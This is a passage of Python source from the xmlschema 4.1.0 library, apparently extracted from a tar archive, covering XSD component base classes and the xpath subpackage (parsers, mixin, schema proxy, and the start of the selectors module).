parent, `None` means that is a global component that \ has the schema as parent. :param name: name of the component, maybe overwritten by the parse of the `elem` argument. """ @classmethod def meta_tag(cls) -> str: """The reference tag for the component type.""" try: return cls._ADMITTED_TAGS[0] except IndexError: raise NotImplementedError(f"not available for {cls!r}") _ADMITTED_TAGS: Union[tuple[str, ...], tuple[()]] = () maps: 'XsdGlobals' elem: ElementType qualified: bool = True """For name matching, unqualified matching may be admitted only for elements and attributes""" ref: Optional['XsdComponent'] redefine: Optional['XsdComponent'] __slots__ = ('name', 'parent', 'schema', 'xsd_version', 'target_namespace', 'maps', 'builders', 'elem', 'validation', 'errors', 'ref', 'redefine', '_built') def __init__(self, elem: ElementType, schema: SchemaType, parent: Optional['XsdComponent'] = None, name: Optional[str] = None) -> None: super().__init__(schema.validation) self._built = False self.ref = self.redefine = None self.name = name self.parent = parent self.schema = schema self.xsd_version = schema.XSD_VERSION self.target_namespace = schema.target_namespace self.maps = schema.maps self.builders = schema.builders self.parse(elem) def __repr__(self) -> str: if self.ref is not None: return '%s(ref=%r)' % (self.__class__.__name__, self.prefixed_name) else: return '%s(name=%r)' % (self.__class__.__name__, self.prefixed_name) def __copy__(self) -> 'XsdComponent': component: 'XsdComponent' = object.__new__(self.__class__) component.__dict__.update(self.__dict__) for cls in self.__class__.__mro__: for attr in getattr(cls, '__slots__', ()): object.__setattr__(component, attr, getattr(self, attr)) component.errors = self.errors.copy() return component @property def built(self) -> bool: return self._built def build(self) -> None: self._built = True @property def validation_attempted(self) -> str: return 'full' if self._built else 'partial' def is_global(self) -> bool: """Returns `True` if the instance is a global component, `False` if it's local.""" return self.parent is None def is_override(self) -> bool: """Returns `True` if the instance is an override of a global component.""" if self.parent is not None: return False return any(self.elem in x for x in self.schema.root if x.tag == XSD_OVERRIDE) @property def schema_elem(self) -> ElementType: """The reference element of the schema for the component instance.""" return self.elem @property def source(self) -> XMLResource: """Property that references to schema source.""" return self.schema.source @property def default_namespace(self) -> Optional[str]: """Property that references to schema's default namespaces.""" return self.schema.namespaces.get('') @property def namespaces(self) -> NsmapType: """Property that references to schema's namespace mapping.""" return self.schema.namespaces @property def any_type(self) -> 'XsdComplexType': """Property that references to the xs:anyType instance of the global maps.""" return cast('XsdComplexType', self.maps.types[XSD_ANY_TYPE]) @property def any_simple_type(self) -> 'XsdSimpleType': """Property that references to the xs:anySimpleType instance of the global maps.""" return cast('XsdSimpleType', self.maps.types[XSD_ANY_SIMPLE_TYPE]) @property def any_atomic_type(self) -> 'XsdSimpleType': """Property that references to the xs:anyAtomicType instance of the global maps.""" return cast('XsdSimpleType', self.maps.types[XSD_ANY_ATOMIC_TYPE]) @cached_property def annotation(self) -> Optional['XsdAnnotation']: """ The primary annotation of the XSD component, if any. This is the annotation defined in the first child of the element where the component is defined. """ child = get_xsd_annotation_child(self.elem) if child is not None: return XsdAnnotation(child, self.schema, self) else: return None @cached_property def annotations(self) -> Union[tuple[()], list['XsdAnnotation']]: """A list containing all the annotations of the XSD component.""" annotations = [] components = self.schema.components parent_map = self.schema.source.parent_map for elem in self.elem.iter(): if elem is self.elem: if self.annotation is not None: annotations.append(self.annotation) elif elem in components: break elif elem.tag == XSD_ANNOTATION: parent_elem = parent_map[elem] if parent_elem is not self.elem: annotations.append(XsdAnnotation(elem, self.schema, self, parent_elem)) return annotations def parse(self, elem: ElementType) -> None: """Set and parse the component Element.""" if elem.tag not in self._ADMITTED_TAGS: msg = "wrong XSD element {!r} for {!r}, must be one of {!r}" raise XMLSchemaValueError( msg.format(elem.tag, self.__class__, self._ADMITTED_TAGS) ) if hasattr(self, 'elem'): # Redefinition of a global component if self.parent is not None: raise XMLSchemaValueError(f'{self!r} is not a global component') self.__dict__.clear() self.elem = elem if self.errors: self.errors.clear() self._parse() if self.__class__.build is XsdComponent.build: self._built = True def _parse(self) -> None: return def _parse_reference(self) -> Optional[bool]: """ Helper method for referable components. Returns `True` if a valid reference QName is found without any error, otherwise returns `None`. Sets an id-related name for the component ('nameless_<id of the instance>') if both the attributes 'ref' and 'name' are missing. """ ref = self.elem.get('ref') if ref is None: if 'name' in self.elem.attrib: return None elif self.parent is None: msg = _("missing attribute 'name' in a global %r") self.parse_error(msg % type(self)) else: msg = _("missing both attributes 'name' and 'ref' in local %r") self.parse_error(msg % type(self)) elif 'name' in self.elem.attrib: msg = _("attributes 'name' and 'ref' are mutually exclusive") self.parse_error(msg) elif self.parent is None: msg = _("attribute 'ref' not allowed in a global %r") self.parse_error(msg % type(self)) else: try: self.name = self.schema.resolve_qname(ref) except (KeyError, ValueError, RuntimeError) as err: self.parse_error(err) else: if self._parse_child_component(self.elem, strict=False) is not None: msg = _("a reference component cannot have child definitions/declarations") self.parse_error(msg) return True return None def _parse_child_component(self, elem: ElementType, strict: bool = True) \ -> Optional[ElementType]: child = None for e in elem: if e.tag == XSD_ANNOTATION or callable(e.tag): continue elif not strict: return e elif child is not None: msg = _("too many XSD components, unexpected {0!r} found at position {1}") self.parse_error(msg.format(child, elem[:].index(e)), elem) break else: child = e return child def _parse_target_namespace(self) -> None: """ XSD 1.1 targetNamespace attribute in elements and attributes declarations. """ if 'targetNamespace' not in self.elem.attrib: return target_namespace = self.elem.attrib['targetNamespace'].strip() if target_namespace == XMLNS_NAMESPACE: # https://www.w3.org/TR/xmlschema11-1/#sec-nss-special msg = _(f"The namespace {XMLNS_NAMESPACE} cannot be used as 'targetNamespace'") raise XMLSchemaValueError(msg) if 'name' not in self.elem.attrib: msg = _("attribute 'name' must be present when " "'targetNamespace' attribute is provided") self.parse_error(msg) if 'form' in self.elem.attrib: msg = _("attribute 'form' must be absent when " "'targetNamespace' attribute is provided") self.parse_error(msg) if target_namespace != self.target_namespace: if self.parent is None: msg = _("a global %s must have the same namespace as its parent schema") self.parse_error(msg % self.__class__.__name__) xsd_type = self.get_parent_type() if xsd_type is None or xsd_type.parent is not None: pass elif xsd_type.derivation != 'restriction' or \ getattr(xsd_type.base_type, 'name', None) == XSD_ANY_TYPE: msg = _("a declaration contained in a global complexType " "must have the same namespace as its parent schema") self.parse_error(msg) self.target_namespace = target_namespace if self.name is None: pass # pragma: no cover elif not target_namespace: self.name = local_name(self.name) else: self.name = f'{{{target_namespace}}}{local_name(self.name)}' @cached_property def local_name(self) -> Optional[str]: """The local part of the name of the component, or `None` if the name is `None`.""" return None if self.name is None else local_name(self.name) @cached_property def qualified_name(self) -> Optional[str]: """The name of the component in extended format, or `None` if the name is `None`.""" return None if self.name is None else get_qname(self.target_namespace, self.name) @cached_property def prefixed_name(self) -> Optional[str]: """The name of the component in prefixed format, or `None` if the name is `None`.""" return None if self.name is None else get_prefixed_qname(self.name, self.namespaces) @cached_property def display_name(self) -> Optional[str]: """ The name of the component to display when you have to refer to it with a simple unambiguous format. """ prefixed_name = self.prefixed_name if prefixed_name is None: return None return self.name if ':' not in prefixed_name else prefixed_name @property def id(self) -> Optional[str]: """The ``'id'`` attribute of the component tag, ``None`` if missing.""" return self.elem.get('id') def is_matching(self, name: Optional[str], default_namespace: Optional[str] = None, **kwargs: Any) -> bool: """ Returns `True` if the component name is matching the name provided as argument, `False` otherwise. For XSD elements the matching is extended to substitutes. :param name: a local or fully-qualified name. :param default_namespace: used by the XPath processor for completing \ the name argument in case it's a local name. :param kwargs: additional options that can be used by certain components. """ return bool(self.name == name or default_namespace and name and name[0] != '{' and self.name == f'{{{default_namespace}}}{name}') def match(self, name: Optional[str], default_namespace: Optional[str] = None, **kwargs: Any) -> Optional['XsdComponent']: """ Returns the component if its name is matching the name provided as argument, `None` otherwise. """ return self if self.is_matching(name, default_namespace, **kwargs) else None def get_matching_item(self, mapping: MutableMapping[str, Any], ns_prefix: str = 'xmlns', match_local_name: bool = False) -> Optional[Any]: """ If a key is matching component name, returns its value, otherwise returns `None`. """ if self.name is None: return None elif not self.target_namespace: return mapping.get(self.name) elif self.qualified_name in mapping: return mapping[cast(str, self.qualified_name)] elif self.prefixed_name in mapping: return mapping[cast(str, self.prefixed_name)] # Try a match with other prefixes target_namespace = self.target_namespace suffix = f':{self.local_name}' for k in filter(lambda x: x.endswith(suffix), mapping): prefix = k.split(':')[0] if self.schema.namespaces.get(prefix) == target_namespace: return mapping[k] # Match namespace declaration within value ns_declaration = f'{ns_prefix}:{prefix}' try: if mapping[k][ns_declaration] == target_namespace: return mapping[k] except (KeyError, TypeError): pass else: if match_local_name: return mapping.get(self.local_name) # type: ignore[arg-type] return None def get_global(self) -> 'XsdComponent': """Returns the global XSD component that contains the component instance.""" if self.parent is None: return self component = self.parent while component is not self: if component.parent is None: return component component = component.parent else: # pragma: no cover msg = _("parent circularity from {}") raise XMLSchemaValueError(msg.format(self)) def get_parent_type(self) -> Optional['XsdType']: """ Returns the nearest XSD type that contains the component instance, or `None` if the component doesn't have an XSD type parent. """ component = self.parent while component is not self and component is not None: if isinstance(component, XsdType): return component component = component.parent return None def iter_components(self, xsd_classes: ComponentClassType = None) \ -> Iterator['XsdComponent']: """ Creates an iterator for XSD subcomponents. :param xsd_classes: provide a class or a tuple of classes to iterate \ over only a specific classes of components. """ if xsd_classes is None or isinstance(self, xsd_classes): yield self def iter_ancestors(self, xsd_classes: ComponentClassType = None)\ -> Iterator['XsdComponent']: """ Creates an iterator for XSD ancestor components, schema excluded. Stops when the component is global or if the ancestor is not an instance of the specified class/classes. :param xsd_classes: provide a class or a tuple of classes to iterate \ over only a specific classes of components. """ ancestor = self while True: if ancestor.parent is None: break ancestor = ancestor.parent if xsd_classes is not None and not isinstance(ancestor, xsd_classes): break yield ancestor def tostring(self, indent: str = '', max_lines: Optional[int] = None, spaces_for_tab: int = 4) -> Union[str, bytes]: """Serializes the XML elements that declare or define the component to a string.""" return etree_tostring(self.schema_elem, self.namespaces, indent, max_lines, spaces_for_tab) def dump_status(self, *args: Any) -> None: """Dump component status to logger for debugging purposes.""" dump_data(self.schema.source, *args) class XsdAnnotation(XsdComponent): """ Class for XSD *annotation* definitions. :ivar appinfo: a list containing the xs:appinfo children. :ivar documentation: a list containing the xs:documentation children. .. <annotation id = ID {any attributes with non-schema namespace . . .}> Content: (appinfo | documentation)* </annotation> .. <appinfo source = anyURI {any attributes with non-schema namespace . . .}> Content: ({any})* </appinfo> .. <documentation source = anyURI xml:lang = language {any attributes with non-schema namespace . . .}> Content: ({any})* </documentation> """ _ADMITTED_TAGS = XSD_ANNOTATION, annotation = None annotations = () def __init__(self, elem: ElementType, schema: SchemaType, parent: Optional[XsdComponent] = None, parent_elem: Optional[ElementType] = None) -> None: super().__init__(elem, schema, parent) if parent_elem is not None: self.parent_elem = parent_elem elif parent is not None: self.parent_elem = parent.elem else: self.parent_elem = schema.source.root def __repr__(self) -> str: return '%s(%r)' % (self.__class__.__name__, str(self)[:40]) def __str__(self) -> str: return '\n'.join(select(self.elem, '*/fn:string()')) def _parse(self) -> None: self.appinfo = [] self.documentation = [] for child in self.elem: if child.tag == XSD_APPINFO: self.appinfo.append(child) elif child.tag == XSD_DOCUMENTATION: self.documentation.append(child) class XsdType(XsdComponent): """Common base class for XSD types.""" __slots__ = () base_type: Optional[BaseXsdType] = None derivation: Optional[str] = None _final: Optional[str] = None ref: Optional[BaseXsdType] @property def final(self) -> str: return self.schema.final_default if self._final is None else self._final @property def content_type_label(self) -> str: """ The content type classification. Can be 'simple', 'mixed', 'element-only' or 'empty'. """ raise NotImplementedError() @property def sequence_type(self) -> str: """The XPath sequence type associated with the content.""" raise NotImplementedError() @property def root_type(self) -> BaseXsdType: """ The root type of the type definition hierarchy. For an atomic type is the primitive type. For a list is the primitive type of the item. For a union is the base union type. For a complex type is xs:anyType. """ raise NotImplementedError() @property def simple_type(self) -> Optional['XsdSimpleType']: """ Property that is the instance itself for a simpleType. For a complexType is the instance's *content* if this is a simpleType or `None` if the instance's *content* is a model group. """ raise NotImplementedError() @property def model_group(self) -> Optional['XsdGroup']: """ Property that is `None` for a simpleType. For a complexType is the instance's *content* if this is a model group or `None` if the instance's *content* is a simpleType. """ return None @staticmethod def is_simple() -> bool: """Returns `True` if the instance is a simpleType, `False` otherwise.""" raise NotImplementedError() @staticmethod def is_complex() -> bool: """Returns `True` if the instance is a complexType, `False` otherwise.""" raise NotImplementedError() def is_atomic(self) -> bool: """Returns `True` if the instance is an atomic simpleType, `False` otherwise.""" return False def is_primitive(self) -> bool: """Returns `True` if the type is an XSD primitive builtin type, `False` otherwise.""" return False def is_list(self) -> bool: """Returns `True` if the instance is a list simpleType, `False` otherwise.""" return False def is_union(self) -> bool: """Returns `True` if the instance is a union simpleType, `False` otherwise.""" return False def is_datetime(self) -> bool: """ Returns `True` if the instance is a datetime/duration XSD builtin-type, `False` otherwise. """ return False def is_empty(self) -> bool: """Returns `True` if the instance has an empty content, `False` otherwise.""" raise NotImplementedError() def is_emptiable(self) -> bool: """Returns `True` if the instance has an emptiable value or content, `False` otherwise.""" raise NotImplementedError() def has_simple_content(self) -> bool: """ Returns `True` if the instance has a simple content, `False` otherwise. """ raise NotImplementedError() def has_complex_content(self) -> bool: """ Returns `True` if the instance is a complexType with mixed or element-only content, `False` otherwise. """ raise NotImplementedError() def has_mixed_content(self) -> bool: """ Returns `True` if the instance is a complexType with mixed content, `False` otherwise. """ raise NotImplementedError() def is_element_only(self) -> bool: """ Returns `True` if the instance is a complexType with element-only content, `False` otherwise. """ raise NotImplementedError() def is_derived(self, other: BaseXsdType, derivation: Optional[str] = None) -> bool: """ Returns `True` if the instance is derived from *other*, `False` otherwise. The optional argument derivation can be a string containing the words 'extension' or 'restriction' or both. """ raise NotImplementedError() def is_extension(self) -> bool: return self.derivation == 'extension' def is_restriction(self) -> bool: return self.derivation == 'restriction' def is_blocked(self, xsd_element: 'XsdElement') -> bool: """ Returns `True` if the base type derivation is blocked, `False` otherwise. """ xsd_type = xsd_element.type if self is xsd_type: return False block = f'{xsd_element.block} {xsd_type.block}'.strip() if not block: return False _block = {x for x in block.split() if x in ('extension', 'restriction')} return any(self.is_derived(xsd_type, derivation) for derivation in _block) def is_dynamic_consistent(self, other: Any) -> bool: raise NotImplementedError() def is_key(self) -> bool: return self.is_derived(self.maps.types[XSD_ID]) def is_qname(self) -> bool: return self.is_derived(self.maps.types[XSD_QNAME]) def is_notation(self) -> bool: return self.is_derived(self.maps.types[XSD_NOTATION_TYPE]) def is_decimal(self) -> bool: return self.is_derived(self.maps.types[XSD_DECIMAL]) def is_boolean(self) -> bool: return self.is_derived(self.maps.types[XSD_BOOLEAN]) def text_decode(self, text: str, validation: str = 'skip', context: Optional[DecodeContext] = None) -> DecodedValueType: raise NotImplementedError() def text_is_valid(self, text: str, context: Optional[DecodeContext] = None) -> bool: raise NotImplementedError() def overall_min_occurs(self, particle: ModelParticleType) -> int: """Returns the overall minimum for occurrences of a content model particle.""" content = self.model_group if content is None or self.is_empty(): raise XMLSchemaTypeError(_("content type must be 'element-only' or 'mixed'")) return content.overall_min_occurs(particle) def overall_max_occurs(self, particle: ModelParticleType) -> Optional[int]: """Returns the overall maximum for occurrences of a content model particle.""" content = self.model_group if content is None or self.is_empty(): raise XMLSchemaTypeError(_("content must type be 'element-only' or 'mixed'")) return content.overall_max_occurs(particle) xmlschema-4.1.0/xmlschema/xpath/��������������������������������������������������������������������0000775�0000000�0000000�00000000000�15020401055�0016572�5����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������xmlschema-4.1.0/xmlschema/xpath/__init__.py���������������������������������������������������������0000664�0000000�0000000�00000001636�15020401055�0020711�0����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������# # Copyright (c), 2016-2024, SISSA (International School for Advanced Studies). # All rights reserved. # This file is distributed under the terms of the MIT License. # See the file 'LICENSE' in the root directory of the present # distribution, or http://opensource.org/licenses/MIT. # # @author Davide Brunato <brunato@sissa.it> # """ This package defines a proxy class and a mixin class for enabling XPath on schemas, and custom parser for identities and assertions. """ from .proxy import XMLSchemaProxy from .mixin import ElementPathMixin, XPathElement from .assertion_parser import XsdAssertionXPathParser from .identity_parser import IdentityXPathParser from .selectors import split_path, ElementSelector, ElementPathSelector __all__ = ['XMLSchemaProxy', 'ElementPathMixin', 'XPathElement', 'XsdAssertionXPathParser', 'IdentityXPathParser', 'split_path', 'ElementSelector', 'ElementPathSelector'] ��������������������������������������������������������������������������������������������������xmlschema-4.1.0/xmlschema/xpath/assertion_parser.py�������������������������������������������������0000664�0000000�0000000�00000002204�15020401055�0022525�0����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������# # Copyright (c), 2023, SISSA (International School for Advanced Studies). # All rights reserved. # This file is distributed under the terms of the MIT License. # See the file 'LICENSE' in the root directory of the present # distribution, or http://opensource.org/licenses/MIT. # # @author Davide Brunato <brunato@sissa.it> # from typing import Optional from elementpath import XPath2Parser, XPathToken, XPathContext class XsdAssertionXPathParser(XPath2Parser): """Parser for XSD 1.1 assertion facets.""" XsdAssertionXPathParser.unregister('last') XsdAssertionXPathParser.unregister('position') # noinspection PyUnusedLocal @XsdAssertionXPathParser.method( XsdAssertionXPathParser.function('last', nargs=0) ) def evaluate_last(self: XPathToken, context: Optional[XPathContext] = None) -> None: raise self.missing_context("context item size is undefined") # noinspection PyUnusedLocal @XsdAssertionXPathParser.method( XsdAssertionXPathParser.function('position', nargs=0) ) def evaluate_position(self: XPathToken, context: Optional[XPathContext] = None) -> None: raise self.missing_context("context item position is undefined") ��������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������xmlschema-4.1.0/xmlschema/xpath/identity_parser.py��������������������������������������������������0000664�0000000�0000000�00000002163�15020401055�0022353�0����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������# # Copyright (c), 2023, SISSA (International School for Advanced Studies). # All rights reserved. # This file is distributed under the terms of the MIT License. # See the file 'LICENSE' in the root directory of the present # distribution, or http://opensource.org/licenses/MIT. # # @author Davide Brunato <brunato@sissa.it> # from elementpath import XPath2Parser XSD_IDENTITY_XPATH_SYMBOLS = frozenset(( 'processing-instruction', 'following-sibling', 'preceding-sibling', 'ancestor-or-self', 'attribute', 'following', 'namespace', 'preceding', 'ancestor', 'position', 'comment', 'parent', 'child', 'false', 'text', 'node', 'true', 'last', 'not', 'and', 'mod', 'div', 'or', '..', '//', '!=', '<=', '>=', '(', ')', '[', ']', '.', '@', ',', '/', '|', '*', '-', '=', '+', '<', '>', ':', '(end)', '(unknown)', '(invalid)', '(name)', '(string)', '(float)', '(decimal)', '(integer)', '::', '{', '}', )) class IdentityXPathParser(XPath2Parser): symbol_table = { k: v for k, v in XPath2Parser.symbol_table.items() if k in XSD_IDENTITY_XPATH_SYMBOLS } SYMBOLS = XSD_IDENTITY_XPATH_SYMBOLS �������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������xmlschema-4.1.0/xmlschema/xpath/mixin.py������������������������������������������������������������0000664�0000000�0000000�00000021152�15020401055�0020271�0����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������# # Copyright (c), 2016-2024, SISSA (International School for Advanced Studies). # All rights reserved. # This file is distributed under the terms of the MIT License. # See the file 'LICENSE' in the root directory of the present # distribution, or http://opensource.org/licenses/MIT. # # @author Davide Brunato <brunato@sissa.it> # from abc import abstractmethod from collections.abc import Iterator, Sequence from typing import cast, overload, Any, Optional, TypeVar, Union, TYPE_CHECKING from elementpath import XPath2Parser, XPathSchemaContext, LazyElementNode, SchemaElementNode from elementpath.protocols import XsdElementProtocol from xmlschema.aliases import NsmapType, SchemaType, BaseXsdType from xmlschema.utils.qnames import get_qname, local_name, get_prefixed_qname from .proxy import XMLSchemaProxy if TYPE_CHECKING: from ..validators import XsdGlobals E_co = TypeVar('E_co', covariant=True, bound='ElementPathMixin[Any]') class ElementPathMixin(Sequence[E_co]): """ Mixin abstract class for enabling ElementTree and XPath 2.0 API on XSD components. :cvar text: the Element text, for compatibility with the ElementTree API. :cvar tail: the Element tail, for compatibility with the ElementTree API. """ text: Optional[str] = None tail: Optional[str] = None name: Optional[str] = None attributes: Any = {} namespaces: Any = {} xpath_default_namespace = '' _xpath_node: Optional[Union[SchemaElementNode, LazyElementNode]] = None @abstractmethod def __iter__(self) -> Iterator[E_co]: raise NotImplementedError @overload def __getitem__(self, i: int) -> E_co: ... # pragma: no cover @overload def __getitem__(self, s: slice) -> Sequence[E_co]: ... # pragma: no cover def __getitem__(self, i: Union[int, slice]) -> Union[E_co, Sequence[E_co]]: try: return [e for e in self][i] except IndexError: raise IndexError('child index out of range') def __reversed__(self) -> Iterator[E_co]: return reversed([e for e in self]) def __len__(self) -> int: return len([e for e in self]) @property def tag(self) -> str: """Alias of the *name* attribute. For compatibility with the ElementTree API.""" return self.name or '' @property def attrib(self) -> Any: """Returns the Element attributes. For compatibility with the ElementTree API.""" return self.attributes def get(self, key: str, default: Any = None) -> Any: """Gets an Element attribute. For compatibility with the ElementTree API.""" return self.attributes.get(key, default) @property def xpath_proxy(self) -> XMLSchemaProxy: """Returns an XPath proxy instance bound with the schema.""" raise NotImplementedError @property def xpath_node(self) -> Union[SchemaElementNode, LazyElementNode]: """Returns an XPath node for applying selectors on XSD schema/component.""" raise NotImplementedError def is_matching(self, name: Optional[str], default_namespace: Optional[str] = None) -> bool: if not name or name[0] == '{' or not default_namespace: return self.name == name else: return self.name == f'{{{default_namespace}}}{name}' def find(self, path: str, namespaces: Optional[NsmapType] = None) -> Optional[E_co]: """ Finds the first XSD subelement matching the path. :param path: an XPath expression that considers the XSD component as the root element. :param namespaces: an optional mapping from namespace prefix to namespace URI. :return: the first matching XSD subelement or ``None`` if there is no match. """ if namespaces is None: namespaces = self.namespaces parser = XPath2Parser(namespaces, strict=False) context = XPathSchemaContext(self.xpath_node) return cast(Optional[E_co], next(parser.parse(path).select_results(context), None)) def findall(self, path: str, namespaces: Optional[NsmapType] = None) -> list[E_co]: """ Finds all XSD subelements matching the path. :param path: an XPath expression that considers the XSD component as the root element. :param namespaces: an optional mapping from namespace prefix to full name. :return: a list containing all matching XSD subelements in document order, an empty \ list is returned if there is no match. """ if namespaces is None: namespaces = self.namespaces parser = XPath2Parser(namespaces, strict=False) context = XPathSchemaContext(self.xpath_node) return cast(list[E_co], parser.parse(path).get_results(context)) def iterfind(self, path: str, namespaces: Optional[NsmapType] = None) -> Iterator[E_co]: """ Creates and iterator for all XSD subelements matching the path. :param path: an XPath expression that considers the XSD component as the root element. :param namespaces: is an optional mapping from namespace prefix to full name. :return: an iterable yielding all matching XSD subelements in document order. """ if namespaces is None: namespaces = self.namespaces parser = XPath2Parser(namespaces, strict=False) context = XPathSchemaContext(self.xpath_node) return cast(Iterator[E_co], parser.parse(path).select_results(context)) def iter(self, tag: Optional[str] = None) -> Iterator[E_co]: """ Creates an iterator for the XSD element and its subelements. If tag is not `None` or '*', only XSD elements whose matches tag are returned from the iterator. Local elements are expanded without repetitions. Element references are not expanded because the global elements are not descendants of other elements. """ def safe_iter(elem: Any) -> Iterator[E_co]: if tag is None or elem.is_matching(tag): yield elem for child in elem: if child.parent is None: yield from safe_iter(child) elif getattr(child, 'ref', None) is not None: if tag is None or child.is_matching(tag): yield child elif child not in local_elements: local_elements.add(child) yield from safe_iter(child) if tag == '*': tag = None local_elements: set[E_co] = set() return safe_iter(self) def iterchildren(self, tag: Optional[str] = None) -> Iterator[E_co]: """ Creates an iterator for the child elements of the XSD component. If *tag* is not `None` or '*', only XSD elements whose name matches tag are returned from the iterator. """ if tag == '*': tag = None for child in self: if tag is None or child.is_matching(tag): yield child class XPathElement(ElementPathMixin['XPathElement']): """An element node for making XPath operations on schema types.""" name: str ref = None parent = None _xpath_node: Optional[LazyElementNode] def __init__(self, name: str, xsd_type: BaseXsdType) -> None: self.name = name self.type = xsd_type self.attributes = getattr(xsd_type, 'attributes', {}) def __repr__(self) -> str: return '%s(%r, %r)' % (self.__class__.__name__, self.name, self.type) def __iter__(self) -> Iterator['XPathElement']: if not self.type.has_simple_content(): yield from self.type.content.iter_elements() # type: ignore[union-attr,misc] @property def xsd_version(self) -> str: return self.type.xsd_version @property def maps(self) -> 'XsdGlobals': return self.schema.maps @property def xpath_proxy(self) -> XMLSchemaProxy: return XMLSchemaProxy(self.schema, self) @property def xpath_node(self) -> LazyElementNode: if self._xpath_node is None: self._xpath_node = LazyElementNode(cast(XsdElementProtocol, self)) return self._xpath_node @property def schema(self) -> SchemaType: return self.type.schema @property def target_namespace(self) -> str: return self.type.schema.target_namespace @property def namespaces(self) -> NsmapType: return self.type.schema.namespaces @property def local_name(self) -> str: return local_name(self.name) @property def qualified_name(self) -> str: return get_qname(self.target_namespace, self.name) @property def prefixed_name(self) -> str: return get_prefixed_qname(self.name, self.namespaces) ����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������xmlschema-4.1.0/xmlschema/xpath/proxy.py������������������������������������������������������������0000664�0000000�0000000�00000006124�15020401055�0020330�0����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������# # Copyright (c), 2016-2024, SISSA (International School for Advanced Studies). # All rights reserved. # This file is distributed under the terms of the MIT License. # See the file 'LICENSE' in the root directory of the present # distribution, or http://opensource.org/licenses/MIT. # # @author Davide Brunato <brunato@sissa.it> # from collections.abc import Iterator from typing import cast, Any, Optional, Union, TYPE_CHECKING from elementpath import AbstractSchemaProxy, XPath2Parser, XPathSchemaContext from elementpath.protocols import XsdTypeProtocol from xmlschema.exceptions import XMLSchemaValueError, XMLSchemaTypeError from xmlschema.aliases import SchemaType from xmlschema.names import XSD_NAMESPACE if TYPE_CHECKING: from xmlschema.validators import XsdElement, XsdAnyElement, XsdAssert from .mixin import XPathElement BaseElementType = Union['XsdElement', 'XsdAnyElement', 'XsdAssert', 'XPathElement'] class XMLSchemaProxy(AbstractSchemaProxy): """XPath schema proxy for the *xmlschema* library.""" _schema: SchemaType _base_element: BaseElementType def __init__(self, schema: Optional[SchemaType] = None, base_element: Optional[BaseElementType] = None) -> None: if schema is None: from xmlschema import XMLSchema10 schema = getattr(XMLSchema10, 'meta_schema', None) assert schema is not None super().__init__(schema, base_element) if base_element is not None: try: if base_element.schema is not schema: msg = "{} is not an element of {}" raise XMLSchemaValueError(msg.format(base_element, schema)) except AttributeError: raise XMLSchemaTypeError("%r is not an XsdElement" % base_element) def bind_parser(self, parser: XPath2Parser) -> None: parser.schema = self parser.symbol_table = {k: v for k, v in parser.__class__.symbol_table.items()} parser.symbol_table.update(self._schema.maps.xpath_constructors) def get_context(self) -> XPathSchemaContext: if self._base_element is not None: return XPathSchemaContext( root=self._schema.xpath_node, namespaces=self._schema.namespaces, item=self._base_element.xpath_node, ) return XPathSchemaContext(self._schema.xpath_node, self._schema.namespaces) def is_instance(self, obj: Any, type_qname: str) -> bool: xsd_type = self._schema.maps.types[type_qname] try: xsd_type.encode(obj) except ValueError: return False else: return True def cast_as(self, obj: Any, type_qname: str) -> Any: xsd_type = self._schema.maps.types[type_qname] return xsd_type.decode(obj) def iter_atomic_types(self) -> Iterator[XsdTypeProtocol]: for xsd_type in self._schema.maps.types.values(): if getattr(xsd_type, 'target_namespace', None) != XSD_NAMESPACE and \ hasattr(xsd_type, 'primitive_type'): yield cast(XsdTypeProtocol, xsd_type) ��������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������xmlschema-4.1.0/xmlschema/xpath/selectors.py��������������������������������������������������������0000664�0000000�0000000�00000020130�15020401055�0021143�0����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������# # Copyright (c), 2025, SISSA (International School for Advanced Studies). # All rights reserved. # This file is distributed under the terms of the MIT License. # See the file 'LICENSE' in the root directory of the present # distribution, or http://opensource.org/licenses/MIT. # # @author Davide Brunato <brunato@sissa.it> # from collections import deque from collections.abc import Callable, Iterable, Iterator from functools import cached_property from typing import cast, Optional, TYPE_CHECKING, Union from xml.etree.ElementTree import Element from elementpath import XPath2Parser, XPathToken, ElementNode, XPathContext from xmlschema.aliases import ElementType, NsmapType from xmlschema.exceptions import XMLSchemaTypeError if TYPE_CHECKING: from xmlschema.resources import XMLResource CacheKeyType = Union[ tuple[str, type['ElementSelector']], tuple[Union[str, type['ElementSelector'], Iterable[tuple[str, str]], tuple[str, str]], ...] ] _selectors_cache: dict[CacheKeyType, 'ElementSelector'] = {} _dummy_element = Element('dummy') def is_ncname(s: str) -> bool: return s.isalpha() and ':' not in s and all(is_ncname_continuation(c) for c in s[1:]) def is_ncname_continuation(c: str) -> bool: return (c.isalnum() or c in '-.\u00B7\u0387\u06DD\u06DE\u203F\u2040' or 0x300 <= ord(c) <= 0x36F) def split_path(path: str, namespaces: Optional[NsmapType] = None, extended_names: bool = False) -> deque[str]: """ Splits a path expression to a sequence of chunks that put in evidence path steps, predicates and other parts that can be useful for checking some properties of the provided path, like the path depth of if the path is composed only by path steps and wildcards. :param path: the path expression to split. :param namespaces: an optional namespace mapping to use on prefixed names. :param extended_names: if `True` maps prefixed names to extended form. For \ default only the default namespace is used, if defined and not empty. """ start = end = 0 def flush() -> None: nonlocal start if start < end: chunks.append(path[start:end]) start = end def advance(condition: 